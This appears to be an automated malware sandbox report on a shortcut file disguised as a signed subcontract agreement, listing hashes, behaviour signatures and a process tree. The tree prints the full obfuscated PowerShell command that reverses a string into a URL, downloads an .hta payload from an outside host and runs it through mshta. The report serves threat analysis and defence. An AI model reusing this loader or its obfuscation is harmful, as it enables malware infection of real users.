82074956aefce5b19a9560de665c89f7db883f01e0a27218dea13280a981fffc

Resubmissions

21/05/2023, 20:06

230521-yvqprscb72 7

21/05/2023, 20:03

230521-ys2z1sfa6z 7

Analysis

max time kernel
1624s
max time network
1627s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
21/05/2023, 20:06

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Report Analysis Logs

General

Target

Doc signed Subcontract Agreement/seedof.lnk
Size

3KB
MD5

efc382d915ab91f89946554f5e6cc42a
SHA1

8b49368462651afa265273151a1e7d4ea19e6347
SHA256

beec3ec08fba224c161464ebcc64727912c6678dd452596440809ce99c8390fd
SHA512

c717e25018645bb9f92c903178baf1401dcd20b12c6b5dcd724e4a9fab3b2ee59559f8392ad2c57196f50d294b4594fcb786d2aa6d8b51044d0419bc051dc3d6

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 1760	2040	cmd.exe	29
PID 2040 wrote to memory of 1760	2040	cmd.exe	29
PID 2040 wrote to memory of 1760	2040	cmd.exe	29
PID 1760 wrote to memory of 1556	1760	powershell.exe	30
PID 1760 wrote to memory of 1556	1760	powershell.exe	30
PID 1760 wrote to memory of 1556	1760	powershell.exe	30
PID 1760 wrote to memory of 1556	1760	powershell.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Doc signed Subcontract Agreement\seedof.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference = 0; function nvRClWiAJT($OnUPXhNfGyEh){$OnUPXhNfGyEh[$OnUPXhNfGyEh.Length..0] -join('')}; function sDjLksFILdkrdR($OnUPXhNfGyEh){ $vecsWHuXBHu = nvRClWiAJT $OnUPXhNfGyEh; for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -lt $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){ try{$zRavFAQNJqOVxb += nvRClWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2)} catch{$zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1)}};$zRavFAQNJqOVxb}; $NpzibtULgyi = sDjLksFILdkrdR 'aht1.sen/hi/coucys.erstmaofershma//s:tpht'; $cDkdhkGBtl = $env:APPDATA + '\' + ($NpzibtULgyi -split '/')[-1]; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing; [IO.File]::WriteAllText($cDkdhkGBtl, $wbpiCTsGYi); & $cDkdhkGBtl; sleep 3; rm $cDkdhkGBtl;
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\se1.hta"
    3⤵
    - Modifies Internet Explorer settings
    PID:1556

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1760-92-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/1760-93-0x0000000001F20000-0x0000000001FA0000-memory.dmp

Filesize
512KB

Download
memory/1760-94-0x0000000001F20000-0x0000000001FA0000-memory.dmp

Filesize
512KB

Download
memory/1760-95-0x0000000002380000-0x0000000002388000-memory.dmp

Filesize
32KB

Download
memory/1760-96-0x0000000001F20000-0x0000000001FA0000-memory.dmp

Filesize
512KB

Download